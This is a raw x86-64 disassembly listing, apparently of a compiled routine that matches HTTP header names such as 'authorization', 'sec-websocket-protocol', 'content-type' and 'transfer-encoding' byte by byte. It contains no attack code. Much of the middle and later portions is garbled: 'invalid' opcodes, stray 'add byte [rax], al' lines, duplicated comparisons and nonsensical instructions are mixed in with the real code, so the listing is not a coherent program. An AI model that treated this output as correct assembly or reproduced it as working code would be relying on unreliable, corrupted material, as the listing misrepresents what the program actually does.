cmp byte [rbx + 6], 0x61
jne 0x14003bad2
cmp byte [rbx + 7], 0x75
jne 0x14003bad2
cmp byte [rbx + 8], 0x74
jne 0x14003bad2
cmp byte [rbx + 9], 0x68
jne 0x14003bad2
cmp byte [rbx + 0xa], 0x6f
jne 0x14003bad2
cmp byte [rbx + 0xb], 0x72
jne 0x14003bad2
cmp byte [rbx + 0xc], 0x69
jne 0x14003bad2
cmp byte [rbx + 0xd], 0x7a
jne 0x14003bad2
cmp byte [rbx + 0xe], 0x61
jne 0x14003bad2
cmp byte [rbx + 0xf], 0x74
jne 0x14003bad2
cmp byte [rbx + 0x10], 0x69
jne 0x14003bad2
cmp byte [rbx + 0x11], 0x6f
jne 0x14003bad2
mov cl, 0x6e
mov edx, 0x12
jmp 0x14003b8f3
cmp byte [rbx + 1], 0x65
jne 0x14003bad2
cmp byte [rbx + 2], 0x63
jne 0x14003bad2
cmp byte [rbx + 3], 0x2d
jne 0x14003bad2
cmp byte [rbx + 4], 0x77
jne 0x14003bad2
cmp byte [rbx + 5], 0x65
jne 0x14003bad2
cmp byte [rbx + 6], 0x62
jne 0x14003bad2
cmp byte [rbx + 7], 0x73
jne 0x14003bad2
cmp byte [rbx + 8], 0x6f
jne 0x14003bad2
cmp byte [rbx + 9], 0x63
jne 0x14003bad2
cmp byte [rbx + 0xa], 0x6b
jne 0x14003bad2
cmp byte [rbx + 0xb], 0x65
jne 0x14003bad2
cmp byte [rbx + 0xc], 0x74
jne 0x14003bad2
cmp byte [rbx + 0xd], 0x2d
jne 0x14003bad2
cmp byte [rbx + 0xe], 0x70
jne 0x14003bad2
cmp byte [rbx + 0xf], 0x72
jne 0x14003bad2
cmp byte [rbx + 0x10], 0x6f
jne 0x14003bad2
mov edx, 0x15
jmp 0x14003b8f3
cmp byte [rbx + 1], 0x2d
jne 0x14003bad2
movzx eax, byte [rbx + 2]
cmp eax, 0x64
je 0x14003b990
cmp eax, 0x63
jne 0x14003bad2
cmp byte [rbx + 3], 0x6f
jne 0x14003bad2
cmp byte [rbx + 4], 0x6e
jne 0x14003bad2
cmp byte [rbx + 5], 0x74
jne 0x14003bad2
cmp byte [rbx + 6], 0x65
jne 0x14003bad2
cmp byte [rbx + 7], 0x6e
jne 0x14003bad2
cmp byte [rbx + 8], 0x74
jne 0x14003bad2
cmp byte [rbx + 9], 0x2d
jne 0x14003bad2
cmp byte [rbx + 0xa], 0x74
jne 0x14003bad2
cmp byte [rbx + 0xb], 0x79
jne 0x14003bad2
cmp byte [rbx + 0xc], 0x70
jne 0x14003bad2
cmp byte [rbx + 0xd], 0x65
jne 0x14003bad2
cmp byte [rbx + 0xe], 0x2d
jne 0x14003bad2
cmp byte [rbx + 0xf], 0x6f
jne 0x14003bad2
cmp byte [rbx + 0x10], 0x70
jne 0x14003bad2
cmp ecx, 0x76
jne case.0x140039bfe.118
cmp byte [rbx + 1], 0x61
jne case.0x140039bfe.118
cmp byte [rbx + 2], 0x72
jne case.0x140039bfe.118
mov al, 0x49
mov cl, 0x79
jmp 0x14003b6b2
cmp byte [rbx + 1], 0x75
jne case.0x140039bfe.118
cmp byte [rbx + 2], 0x62
jne case.0x140039bfe.118
cmp byte [rbx + 3], 0x6c
jne case.0x140039bfe.118
cmp byte [rbx + 4], 0x69
jne case.0x140039bfe.118
cmp byte [rbx + 5], 0x63
jne case.0x140039bfe.118
cmp byte [rbx + 6], 0x2d
jne case.0x140039bfe.118
cmp byte [rbx + 7], 0x6b
jne case.0x140039bfe.118
cmp byte [rbx + 8], 0x65
jne case.0x140039bfe.118
cmp byte [rbx + 9], 0x79
jne case.0x140039bfe.118
cmp byte [rbx + 0xa], 0x2d
jne case.0x140039bfe.118
cmp byte [rbx + 0xb], 0x70
jne case.0x140039bfe.118
cmp byte [rbx + 0xc], 0x69
jne case.0x140039bfe.118
cmp byte [rbx + 0xd], 0x6e
jne case.0x140039bfe.118
mov al, 0x34
jmp 0x14003b176
cmp byte [rbx + 1], 0x65
jne case.0x140039bfe.118
cmp byte [rbx + 2], 0x66
jne case.0x140039bfe.118
cmp byte [rbx + 3], 0x65
jne case.0x140039bfe.118
cmp byte [rbx + 4], 0x72
jne case.0x140039bfe.118
cmp byte [rbx + 5], 0x72
jne case.0x140039bfe.118
cmp byte [rbx + 6], 0x65
jne case.0x140039bfe.118
cmp byte [rbx + 7], 0x72
jne case.0x140039bfe.118
cmp byte [rbx + 8], 0x2d
jne case.0x140039bfe.118
cmp byte [rbx + 9], 0x70
jne case.0x140039bfe.118
cmp byte [rbx + 0xa], 0x6f
jne case.0x140039bfe.118
cmp byte [rbx + 0xb], 0x6c
jne case.0x140039bfe.118
cmp byte [rbx + 0xc], 0x69
jne case.0x140039bfe.118
cmp byte [rbx + 0xd], 0x63
jne case.0x140039bfe.118
mov al, 0x38
mov cl, 0x79
jmp 0x14003b178
cmp byte [rbx + 1], 0x2d
jne case.0x140039bfe.118
cmp byte [rbx + 2], 0x66
jne case.0x140039bfe.118
cmp byte [rbx + 3], 0x72
jne case.0x140039bfe.118
cmp byte [rbx + 4], 0x61
jne case.0x140039bfe.118
cmp byte [rbx + 5], 0x6d
jne case.0x140039bfe.118
cmp byte [rbx + 6], 0x65
jne case.0x140039bfe.118
cmp byte [rbx + 7], 0x2d
jne case.0x140039bfe.118
cmp byte [rbx + 8], 0x6f
jne case.0x140039bfe.118
cmp byte [rbx + 9], 0x70
jne case.0x140039bfe.118
cmp byte [rbx + 0xa], 0x74
jne case.0x140039bfe.118
cmp byte [rbx + 0xb], 0x69
jne case.0x140039bfe.118
cmp byte [rbx + 0xc], 0x6f
jne case.0x140039bfe.118
cmp byte [rbx + 0xd], 0x6e
jne case.0x140039bfe.118
invalid
cwde
invalid
add byte [rax], al
mov al, 0x4f
mov cl, 0x73
mov edx, 0xe
jmp 0x14003b8f3
movzx eax, byte [rbx + 1]
cmp eax, 0x61
je 0x14003b858
cmp eax, 0x6f
jne case.0x140039bfe.118
cmp byte [rbx + 2], 0x6e
jne case.0x140039bfe.118
cmp byte [rbx + 3], 0x74
jne case.0x140039bfe.118
add byte [rax], al
cmp byte [rbx + 4], 0x65
jne case.0x140039bfe.118
invalid
add byte [rax], al
cmp byte [rbx + 5], 0x6e
jne case.0x140039bfe.118
add byte [rax], al
cmp byte [rbx + 6], 0x74
jne case.0x140039bfe.118
cmp byte [rbx + 7], 0x2d
jne case.0x140039bfe.118
cmp byte [rbx + 8], 0x72
jne case.0x140039bfe.118
cmp byte [rbx + 9], 0x61
jne case.0x140039bfe.118
invalid
add byte [rax], al
cmp byte [rbx + 0xa], 0x6e
jne case.0x140039bfe.118
sbb al, byte [rdi]
add byte [rax], al
cmp byte [rbx + 0xb], 0x67
jne case.0x140039bfe.118
mov al, 0x1a
mov cl, 0x65
jmp 0x14003b8ee
cmp byte [rbx + 1], 0x66
jne case.0x140039bfe.118
cmp byte [rbx + 2], 0x2d
jne case.0x140039bfe.118
add byte [rax], al
cmp byte [rbx + 3], 0x6e
jne case.0x140039bfe.118
cmp byte [rbx + 4], 0x6f
jne case.0x140039bfe.118
cmp byte [rbx + 5], 0x6e
jne case.0x140039bfe.118
cmp byte [rbx + 6], 0x65
jne case.0x140039bfe.118
cmp byte [rbx + 7], 0x2d
jne case.0x140039bfe.118
cmp byte [rbx + 8], 0x6d
jne case.0x140039bfe.118
invalid
add byte [rax], al
cmp byte [rbx + 9], 0x61
jne case.0x140039bfe.118
invalid
cmp byte [rbx + 0xa], 0x74
jne case.0x140039bfe.118
add byte [rax], al
cmp byte [rbx + 0xb], 0x63
jne case.0x140039bfe.118
invalid
mov al, 0x29
mov cl, 0x68
jmp 0x14003b8ee
cmp byte [rbx + 1], 0x61
jne case.0x140039bfe.118
cmp byte [rbx + 2], 0x73
jne case.0x140039bfe.118
invalid
add byte [rax], al
cmp byte [rbx + 3], 0x74
jne case.0x140039bfe.118
invalid
add byte [rax], al
cmp byte [rbx + 4], 0x2d
jne case.0x140039bfe.118
cmp byte [rbx + 5], 0x6d
jne case.0x140039bfe.118
cmp byte [rbx + 6], 0x6f
jne case.0x140039bfe.118
cmp byte [rbx + 7], 0x64
jne case.0x140039bfe.118
jne case.0x140039bfe.118
cmp byte [rbx + 8], 0x69
jne case.0x140039bfe.118
cmp byte [rbx + 9], 0x66
jne case.0x140039bfe.118
invalid
invalid
add byte [rax], al
jne case.0x140039bfe.118
cmp byte [rbx + 0xa], 0x69
jne case.0x140039bfe.118
sub al, 6
invalid
add byte [rax], al
cmp byte [rbx + 0xb], 0x65
jne case.0x140039bfe.118
mov al, 0x2c
mov cl, 0x64
jmp 0x14003b8ee
cmp byte [rbx + 1], 0x66
jne 0x14003bad2
invalid
jne 0x14003bad2
cmp byte [rbx + 2], 0x2d
jne 0x14003bad2
invalid
cmp byte [rbx + 3], 0x6d
insd dword [rdi], dx
jne 0x14003bad2
add byte [rax], al
cmp byte [rbx + 4], 0x6f
jne 0x14003bad2
invalid
mov bh, 7
add byte [rax], al
cmp byte [rbx + 5], 0x64
jne 0x14003bad2
invalid
lodsd eax, dword [rsi]
invalid
add byte [rax], al
cmp byte [rbx + 6], 0x69
jne 0x14003bad2
invalid
invalid
invalid
add byte [rax], al
add byte [rax + 0xf66077b], al
test dword [rcx - 0x7ffffff9], ebx
cmp byte [rbx + 7], 0x66
jne 0x14003bad2
invalid
cmp byte [rbx + 8], 0x69
jne 0x14003bad2
invalid
add byte [rax], al
jnp 0x14003b344
imul ecx, dword [rdi], 0x78f85
add byte [rax + 0xf65097b], al
or dword [rbp + 0xf], esp
cmp byte [rbx + 9], 0x65
jne 0x14003bad2
invalid
add byte [rax], al
invalid
jnp 0x14003b34f
or dword [rbp + 0xf], esp
jne 0x14003bad2
test dword [rbp - 0x7ffffff9], eax
jnp case.0x140010276.212
invalid
cmp byte [rbx + 0xa], 0x64
jne 0x14003bad2
invalid
add byte [rax], al
or ah, byte [rdi + rcx - 0x7b]
jnp case.0x140017b31.196
invalid
jne 0x14003bad2
add byte [rax], al
cmp byte [rbx + 0xb], 0x2d
jne 0x14003bad2
test dword [rcx + 7], esi
add byte [rax], al
sub eax, 0x771850f
test dword [rcx + 7], esi
add byte [rax], al
cmp byte [rbx + 0xc], 0x73
jne 0x14003bad2
test dword [rdi + 7], esp
add byte [rax], al
add byte [rax], al
cmp byte [rbx + 0xd], 0x69
jne 0x14003bad2
test dword [rbp + 7], ebx
add byte [rax], al
cmp byte [rbx + 0xe], 0x6e
jne 0x14003bad2
cmp byte [rbx + 0xf], 0x63
jne 0x14003bad2
invalid
add byte [rax], al
invalid
mov al, 0x28
mov cl, 0x65
jmp 0x14003b4cb
add byte [rax], al
add byte [rax], al
cmp byte [rbx + 1], 0x65
jne 0x14003bad2
add byte [rax], al
add byte [rax], al
cmp byte [rbx + 2], 0x63
jne 0x14003bad2
add byte [rax], al
cmp byte [rbx + 3], 0x2d
jne 0x14003bad2
cmp byte [rbx + 4], 0x77
jne 0x14003bad2
cmp byte [rbx + 5], 0x65
jne 0x14003bad2
cmp byte [rbx + 6], 0x62
jne 0x14003bad2
cmp byte [rbx + 7], 0x73
jne 0x14003bad2
invalid
add byte [rax], al
invalid
cmp byte [rbx + 8], 0x6f
jne 0x14003bad2
invalid
invalid
add byte [rax], al
invalid
cmp byte [rbx + 9], 0x63
jne 0x14003bad2
or dword [rbx + 0xf], esp
test esi, esp
invalid
cmp byte [rbx + 0xa], 0x6b
jne 0x14003bad2
fadd qword [rsi]
add byte [rax], al
fadd qword [rsi]
add byte [rax], al
cmp byte [rbx + 0xb], 0x65
jne 0x14003bad2
rol byte [rsi], cl
add byte [rax], al
cmp byte [rbx + 0xc], 0x74
jne 0x14003bad2
cmp byte [rbx + 0xd], 0x2d
jne 0x14003bad2
cmp byte [rbx + 0xe], 0x6b
invalid
jne 0x14003bad2
cmp byte [rbx + 0xf], 0x65
jne 0x14003bad2
jnp 0x14003b430
jne 0x14003bad2
mov al, 0x3d
mov cl, 0x79
jmp 0x14003b4cb
add byte [rax], al
add byte [rax], al
add byte [rax + 0xf72017b], al
cmp byte [rbx + 1], 0x72
jnp 0x14003b435
jb 0x14003b445
jne 0x14003bad2
test dword [rdi - 0x7ffffffa], edx
jnp case.0x1400089d2.308
cmp byte [rbx + 2], 0x61
invalid
jne 0x14003bad2
test dword [rbp - 0x7ffffffa], ecx
jnp 0x14003b44b
cmp byte [rbx + 3], 0x6e
outsb dx, byte [rsi]
jne 0x14003bad2
add dword [rsi], 0
add byte [rax + 0xf73047b], al
test dword [rcx + 6], edi
add byte [rax], al
cmp byte [rbx + 4], 0x73
jne 0x14003bad2
cmp byte [rbx + 5], 0x66
jne 0x14003bad2
outsd dx, dword [rsi]
invalid
add byte [rax], al
jnp 0x14003b461
jne 0x14003bad2
outsd dx, dword [rsi]
invalid
add byte [rax], al
cmp byte [rbx + 6], 0x65
jne 0x14003bad2
test dword [rbp + 6], esp
add byte [rax], al
test dword [rbp + 6], esp
add byte [rax], al
invalid
cmp byte [rbx + 7], 0x72
jne 0x14003bad2
invalid
cmp byte [rbx + 8], 0x2d
jne 0x14003bad2
add byte [rax], al
add byte [rax], al
cmp byte [rbx + 9], 0x65
jne 0x14003bad2
invalid
jnp 0x14003b48d
jne 0x14003bad2
add byte [rax + 0xf6e0a7b], al
cmp byte [rbx + 0xa], 0x6e
or ch, byte [rsi + 0xf]
jne 0x14003bad2
test dword [0xc003b49c], edi
jnp 0x14003b4a3
cmp byte [rbx + 0xb], 0x63
jne 0x14003bad2
test dword [rbx], esi
invalid
add byte [rax], al
invalid
test dword [rbx], esi
invalid
cmp byte [rbx + 0xc], 0x6f
jne 0x14003bad2
sub dword [rsi], eax
add byte [rax], al
cmp byte [rbx + 0xd], 0x64
jne 0x14003bad2
jnp 0x14003b4b9
jne 0x14003bad2
cmp byte [rbx + 0xe], 0x69
jne 0x14003bad2
invalid
add byte [rax], al
adc eax, 0x80000006
jnp 0x14003b4cf
invalid
invalid
cmp byte [rbx + 0xf], 0x6e
movd mm1, dword [rdi]
test dword [rbx], ecx
invalid
outsb dx, byte [rsi]
jne 0x14003bad2
add byte [rax], al
mov al, 0x45
mov cl, 0x67
invalid
mov edx, 0x10
mov edx, 0x10
add cl, ch
invalid
jmp 0x14003b8f3
cmp byte [rbx + 0x16], 0x65
jne 0x14003bad2
cmp byte [rbx + 0x17], 0x74
jne 0x14003bad2
invalid
invalid
add byte [rax], al
jmp 0xc003b4ef
cmp byte [rbx + 0x18], 0x68
jne 0x14003bad2
fild word [0x1bb83b4f5]
cmp byte [rbx + 0x19], 0x6f
jnp 0x14003b50f
sbb dword [rdi + 0xf], ebp
test ebp, edx
outsd dx, dword [rsi]
jne 0x14003bad2
add eax, 0x7b800000
sbb ah, byte [rdi + rcx - 0x7b]
retf
cmp byte [rbx + 0x1a], 0x64
jne 0x14003bad2
invalid
add byte [rax], al
add eax, 0x7b00000
add byte [rax], al
mov al, 7
mov cl, 0x73
mov edx, 0x1b
add byte [rax], al
add byte [rax], al
add cl, ch
fiadd word [rbx]
add byte [rax], al
invalid
jmp 0x14003b8f3
cmp byte [rbx + 0x10], 0x65
jne 0x14003bad2
invalid
mov bl, 5
add byte [rax], al
invalid
test dword [rbx - 0x7ffffffb], esi
jnp 0x14003b533
add byte [rax + 0xf71117b], al
cmp byte [rbx + 0x11], 0x71
jne 0x14003bad2
invalid
invalid
invalid
add byte [rax], al
invalid
jno 0x14003b533
test dword [rcx - 0x7ffffffb], ebp
add byte [rax + 0xf75127b], al
jnp case.0x14002e84a.76
jne 0x14003b53d
test dword [rdi - 0x7ffffffb], ebx
cmp byte [rbx + 0x13], 0x65
jne 0x14003bad2
invalid
xchg ebp, eax
invalid
add byte [rax], al
jnp 0x14003b549
adc esp, dword [rbp + 0xf]
jne 0x14003bad2
test dword [rbp - 0x7ffffffb], edx
cmp byte [rbx + 0x14], 0x73
jne 0x14003bad2
invalid
invalid
invalid
add byte [rax], al
jnp case.0x14002f357.70
jae 0x14003b551
test dword [rbx - 0x7ffffffb], ecx
add eax, 0x7b800000
cmp byte [rbx + 0x15], 0x74
jne 0x14003bad2
invalid
add byte [rax], al
jnp 0x14003b55f
adc eax, 0x81850f74
je 0x14003b55b
test dword [rcx - 0x7ffffffb], eax
add eax, 0x7b800000
invalid
cmp byte [rbx + 0x16], 0x2d
jnp 0x14003b56a
sub eax, 0x577850f
add byte [rax], al
jne 0x14003bad2
add eax, 0x7b800000
invalid
cmp byte [rbx + 0x17], 0x6d
insd dword [rdi], dx
jne 0x14003bad2
add byte [rax + 0xf65187b], al
cmp byte [rbx + 0x18], 0x65
jne 0x14003bad2
invalid
jne 0x14003bad2
test dword [rbx + 5], esp
add byte [rax], al
invalid
add byte [rax + 0xf74197b], al
cmp byte [rbx + 0x19], 0x74
jne 0x14003bad2
add byte [rax], al
je 0x14003b583
test dword [rcx + 5], ebx
add byte [rax], al
add byte [rax + 0xf681a7b], al
cmp byte [rbx + 0x1a], 0x68
jne 0x14003bad2
test dword [rdi + 5], ecx
add byte [rax], al
invalid
test dword [rdi + 5], ecx
add byte [rax], al
invalid
add byte [rax + 0xf6f1b7b], al
cmp byte [rbx + 0x1b], 0x6f
jne 0x14003bad2
test dword [rbp + 5], eax
add byte [rax], al
test dword [rbp + 5], eax
add byte [rax], al
mov al, 0xc
mov cl, 0x64
mov edx, 0x1c
sbb al, 0
add byte [rax], al
sbb al, 0
add byte [rax], al
jmp 0x14003b8f3
add eax, dword [rax]
add byte [rax + 0xf61017b], al
cmp byte [rbx + 1], 0x61
jne case.0x140039bfe.118
cmp byte [rbx + 1], 0x61
jne case.0x140039bfe.118
add eax, dword [rax]
add byte [rax + 0xf72027b], al
jb 0x14003b5b9
cmp byte [rbx + 2], 0x72
jne case.0x140039bfe.118
add eax, dword [rax]
invalid
test dword [rbp + 3], ebx
add byte [rax], al
invalid
add byte [rax + 0xf6e037b], al
cmp byte [rbx + 3], 0x6e
outsb dx, byte [rsi]
jne case.0x140039bfe.118
test dword [rbx + 3], edx
add byte [rax], al
cmp byte [rbx + 4], 0x69
jne case.0x140039bfe.118
cmp byte [rbx + 5], 0x6e
jnp 0x14003b5cb
outsb dx, byte [rsi]
jne case.0x140039bfe.118
test dword [rdi], edi
add eax, dword [rax]
add byte [rax], al
add byte [rax - 0x16984eb5], dh
adc byte [rdx], al
add byte [rax], al
mov al, 0x4b
mov cl, 0x67
mov r9b, 0x67
jmp 0x14003b7e6
cmp byte [rbx + 1], 0x72
jne case.0x140039bfe.118
add byte [rax], al
cmp byte [rbx + 2], 0x61
jne case.0x140039bfe.118
add byte [rax], al
add ah, byte [rcx + 0xf]
test dword [rdx], esp
add eax, dword [rax]
add byte [rax], al
cmp byte [rbx + 3], 0x69
invalid
test dword [rax], ebx
add eax, dword [rax]
add byte [rax], al
cmp byte [rbx + 3], 0x69
jne case.0x140039bfe.118
imul ecx, dword [rdi], 0x31885
add byte [rax + 0xf6c047b], al
test dword [rsi], ecx
add eax, dword [rax]
add byte [rax], al
cmp byte [rbx + 5], 0x65
jne case.0x140039bfe.118
cmp byte [rbx + 4], 0x6c
jne case.0x140039bfe.118
cmp byte [rbx + 5], 0x65
jne case.0x140039bfe.118
mov al, 0x44
mov cl, 0x72
jmp 0x14003b7e6
cmp byte [rbx + 1], 0x70
jnp 0x14003b615
jo 0x14003b625
jne case.0x140039bfe.118
test ecx, esi
add al, byte [rax]
add byte [rax + 0xf67027b], al
cmp byte [rbx + 2], 0x67
jne case.0x140039bfe.118
test edi, esp
add al, byte [rax]
add byte [rax + 0xf72037b], al
cmp byte [rbx + 3], 0x72
jne case.0x140039bfe.118
test ebp, ebx
add al, byte [rax]
invalid
test ebp, ebx
add al, byte [rax]
add byte [rax + 0xf61047b], al
test ebx, edx
add al, byte [rax]
add byte [rax + 0xf64057b], al
jnp 0x14003b641
invalid
invalid
test ecx, ecx
cmp byte [rbx + 4], 0x61
jne case.0x140039bfe.118
cmp byte [rbx + 5], 0x64
jne case.0x140039bfe.118
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rax - 0x169a4eb9], dh
invalid
mov al, 0x47
mov cl, 0x65
jmp 0x14003b7e6
add byte [rax], al
cmp byte [rbx + 1], 0x69
jne case.0x140039bfe.118
cmp byte [rbx + 2], 0x6e
jne case.0x140039bfe.118
add byte [rax], al
mov al, 0x2d
mov cl, 0x6b
jmp 0x14003b6b2
cmp byte [rbx + 1], 0x72
jne case.0x140039bfe.118
cmp byte [rbx + 2], 0x6f
jne case.0x140039bfe.118
mov al, 0x25
mov cl, 0x6d
jmp 0x14003b6b2
cmp byte [rbx + 1], 0x74
jne case.0x140039bfe.118
add byte [rax], al
cmp byte [rbx + 2], 0x61
jne case.0x140039bfe.118
mov al, 0x21
mov cl, 0x67
jmp 0x14003b6b2
cmp byte [rbx + 1], 0x6f
jne case.0x140039bfe.118
cmp byte [rbx + 2], 0x73
jne case.0x140039bfe.118
pop rsi
add al, byte [rax]
invalid
mov al, 0x26
mov cl, 0x74
mov edx, 3
jmp 0x14003b8f3
cmp byte [rbx + 1], 0x78
jne case.0x140039bfe.118
cmp byte [rbx + 2], 0x70
jne case.0x140039bfe.118
add byte [rax], al
add byte [rax], al
cmp byte [rbx + 3], 0x65
jne case.0x140039bfe.118
cmp byte [rbx + 4], 0x63
jne case.0x140039bfe.118
add byte [rax], al
add byte [rax], al
mov al, 0x22
mov cl, 0x74
jmp 0x14003b7a6
cmp byte [rbx + 1], 0x72
jne case.0x140039bfe.118
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rax + 0xf61027b], al
test dword [rbx], ecx
add al, byte [rax]
add byte [rax + 0xf67037b], al
cmp byte [rbx + 2], 0x61
jne case.0x140039bfe.118
cmp byte [rbx + 3], 0x67
jne case.0x140039bfe.118
test dword [rcx], eax
add al, byte [rax]
add byte [rax + 0xf6d047b], al
test edi, esi
add dword [rax], eax
add byte [rax - 0x169e4ecf], dh
mov byte [rax], al
add byte [rax], al
cmp byte [rbx + 4], 0x6d
jne case.0x140039bfe.118
mov al, 0x31
mov cl, 0x61
jmp 0x14003b7a6
cmp byte [rbx + 1], 0x72
jne case.0x140039bfe.118
cmp byte [rbx + 2], 0x69
jne case.0x140039bfe.118
cmp byte [rbx + 3], 0x67
jne case.0x140039bfe.118
cmp byte [rbx + 4], 0x69
jne case.0x140039bfe.118
mov al, 0x30
mov cl, 0x6e
jmp 0x14003b7a6
cmp byte [rbx + 1], 0x6f
jne case.0x140039bfe.118
cmp byte [rbx + 2], 0x6f
jne case.0x140039bfe.118
cmp byte [rbx + 3], 0x6b
jne case.0x140039bfe.118
cmp byte [rbx + 4], 0x69
jne case.0x140039bfe.118
add byte [rax], al
add byte [rax], al
mov al, 0x1e
mov cl, 0x65
jmp 0x14003b7a6
cmp byte [rbx + 1], 0x65
jne case.0x140039bfe.118
cmp byte [rbx + 2], 0x72
jne case.0x140039bfe.118
cmp byte [rbx + 3], 0x76
jne case.0x140039bfe.118
add esi, dword [rsi + 0xf]
test dword [rcx + rax], esi
add byte [rax + 0xf65047b], al
test dword [rdx + 1], ebp
cmp byte [rbx + 4], 0x65
jne case.0x140039bfe.118
add byte [rax], al
add byte [rax], al
mov al, 0x40
mov cl, 0x72
mov edx, 5
jmp 0x14003b8f3
cmp byte [rbx + 1], 0x78
jne case.0x140039bfe.118
cmp byte [rbx + 2], 0x70
jne case.0x140039bfe.118
add qword [rax], rax
invalid
add qword [rax], rax
add byte [rax + 0xf69037b], al
cmp byte [rbx + 3], 0x69
jne case.0x140039bfe.118
cmp byte [rbx + 4], 0x72
invalid
test dword [rcx + rax], esi
xor al, 1
cmp byte [rbx + 3], 0x69
jne case.0x140039bfe.118
cmp byte [rbx + 4], 0x72
add al, 0x72
jne case.0x140039bfe.118
add byte [rax], al
cmp byte [rbx + 5], 0x65
jne case.0x140039bfe.118
add byte [rax], al
add byte [rax], al
mov al, 0x23
mov cl, 0x73
mov edx, 6
jmp 0x14003b8f3
cmp byte [rbx + 2], 0x63
jne case.0x140039bfe.118
cmp byte [rbx + 3], 0x68
jne case.0x140039bfe.118
or byte [rcx], al
add byte [rax], al
or byte [rcx], al
add byte [rax], al
cmp byte [rbx + 4], 0x65
jne case.0x140039bfe.118
cmp byte [rbx + 5], 0x2d
jne case.0x140039bfe.118
hlt
add byte [rax], al
invalid
hlt
add byte [rax + 0xf73067b], al
cmp byte [rbx + 6], 0x73
jne case.0x140039bfe.118
test edx, ebp
add byte [rax], al
add byte [rax + 0xf74077b], al
invalid
je 0x14003b836
test eax, esp
add byte [rax], al
add byte [rax + 0xf61087b], al
jne case.0x140039bfe.118
cmp byte [rbx + 9], 0x74
jne case.0x140039bfe.118
cmp byte [rbx + 0xa], 0x75
invalid
cmp byte [rbx + 7], 0x74
jne case.0x140039bfe.118
invalid
cmp byte [rbx + 8], 0x61
jne case.0x140039bfe.118
invalid
cmp byte [rbx + 9], 0x74
jne case.0x140039bfe.118
cmp byte [rbx + 0xa], 0x75
jne case.0x140039bfe.118
or dh, byte [rbp + 0xf]
test edx, eax
add byte [rax], al
add byte [rax - 0x458c4eee], dh
or eax, dword [rax]
add byte [rax], al
invalid
mov al, 0x12
mov cl, 0x73
mov edx, 0xb
add byte [rax], al
add cl, ch
jmp 0x14003b8f3
wait
add byte [rax], al
add byte [rax + 0xf63027b], al
test dword [rdx - 0x80000000], ebp
invalid
jnp 0x14003b868
cmp byte [rbx + 2], 0x63
jne case.0x140039bfe.118
add byte [rax], al
cmp byte [rbx + 3], 0x68
jne case.0x140039bfe.118
push 0xa0850f
add byte [rax], al
movabs al, byte [0xf65047b80000000]
test dword [rsi - 0x80000000], edx
xchg esi, eax
add byte [rax], al
add byte [rax], al
invalid
jnp 0x14003b87e
cmp byte [rbx + 4], 0x65
jne case.0x140039bfe.118
xchg esi, eax
add byte [rax], al
add byte [rax], al
xchg esi, eax
add byte [rax], al
add byte [rax], al
cmp byte [rbx + 5], 0x2d
jne case.0x140039bfe.118
invalid
invalid
add byte [rax], al
cmp byte [rbx + 5], 0x2d
jne case.0x140039bfe.118
sub eax, 0x8c850f
add byte [rax], al
cmp byte [rbx + 6], 0x63
invalid
jne case.0x140039bfe.118
cmp byte [rbx + 7], 0x6f
jne case.0x140039bfe.118
cmp byte [rbx + 8], 0x6e
jne case.0x140039bfe.118
or byte [rsi + 0x75], ch
jbe 0x14003b817
cmp byte [rbx + 9], 0x74
jne case.0x140039bfe.118
jnp case.0x14002f63b.48
je 0x14003b910
jo 0x14003b81d
cmp byte [rbx + 0xa], 0x72
jne case.0x140039bfe.118
jnp 0x14003b8a9
jb 0x14003b916
push 0xffffffffffffff80
jnp 0x14003b8b0
cmp byte [rbx + 0xb], 0x6f
outsd dx, dword [rsi]
jne case.0x140039bfe.118
mov al, 0x11
mov cl, 0x6c
jmp 0x14003b8ee
adc dword [rcx - 0x7fbf1494], esi
jnp 0x14003b8b3
cmp byte [rbx + 2], 0x63
jne case.0x140039bfe.118
add ah, byte [rbx + 0x75]
invalid
pop rax
cmp byte [rbx + 3], 0x65
jne case.0x140039bfe.118
cmp byte [rbx + 4], 0x70
jne case.0x140039bfe.118
cmp byte [rbx + 5], 0x74
jne case.0x140039bfe.118
cmp byte [rbx + 6], 0x2d
jne case.0x140039bfe.118
cmp byte [rbx + 7], 0x72
jne case.0x140039bfe.118
cmp byte [rbx + 8], 0x61
jne case.0x140039bfe.118
cmp byte [rbx + 9], 0x6e
jne case.0x140039bfe.118
cmp byte [rbx + 0xa], 0x67
jne case.0x140039bfe.118
cmp byte [rbx + 0xb], 0x65
jne case.0x140039bfe.118
mov al, 4
mov cl, 0x73
mov edx, 0xc
add byte [rax], bh
or al, 0x13
cmp byte [rbx + rdx], cl
jne 0x14003b902
mov byte [rsi], al
mov bpl, 2
jmp 0x14003baef
cmp rdi, 0xf
ja 0x14003bad2
xor eax, eax
cmp rdi, rax
je 0x14003bae5
invalid
add byte [rax + 0xf00033c], al
test dh, cl
add dword [rax], eax
add byte [rax - 1], cl
shr bl, 0xe8
cmp byte [rbx + rax], 0
je 0x14003baef
inc rax
jmp 0x14003b90e
cmp byte [rbx + 4], 0x61
jne case.0x140039bfe.118
cmp byte [rbx + 5], 0x6e
jne case.0x140039bfe.118
cmp byte [rbx + 6], 0x67
jne case.0x140039bfe.118
mov al, 0x2a
mov cl, 0x65
jmp 0x14003aa56
movzx eax, byte [rbx + 9]
cmp eax, 0x6f
je 0x14003baad
cmp eax, 0x61
jne 0x14003bad2
cmp byte [rbx + 0xa], 0x6e
jne 0x14003bad2
cmp byte [rbx + 0xb], 0x67
jne 0x14003bad2
cmp byte [rbx + 0xc], 0x75
jne 0x14003bad2
cmp byte [rbx + 0xd], 0x61
jne 0x14003bad2
cmp byte [rbx + 0xe], 0x67
jne 0x14003bad2
cmp byte [rbx + 3], 0x6e
jne 0x14003bad2
cmp byte [rbx + 4], 0x73
jne 0x14003bad2
cmp byte [rbx + 5], 0x2d
jne 0x14003bad2
cmp byte [rbx + 6], 0x70
jne 0x14003bad2
cmp byte [rbx + 7], 0x72
jne 0x14003bad2
cmp byte [rbx + 8], 0x65
jne 0x14003bad2
cmp byte [rbx + 9], 0x66
jne 0x14003bad2
cmp byte [rbx + 0xa], 0x65
jne 0x14003bad2
cmp byte [rbx + 0xb], 0x74
jne 0x14003bad2
cmp byte [rbx + 0xc], 0x63
jne 0x14003bad2
cmp byte [rbx + 0xd], 0x68
jne 0x14003bad2
cmp byte [rbx + 0xe], 0x2d
jne 0x14003bad2
cmp byte [rbx + 0xf], 0x63
jne 0x14003bad2
cmp byte [rbx + 0x10], 0x6f
jne 0x14003bad2
cmp byte [rbx + 0x11], 0x6e
jne 0x14003bad2
cmp byte [rbx + 8], 0x61
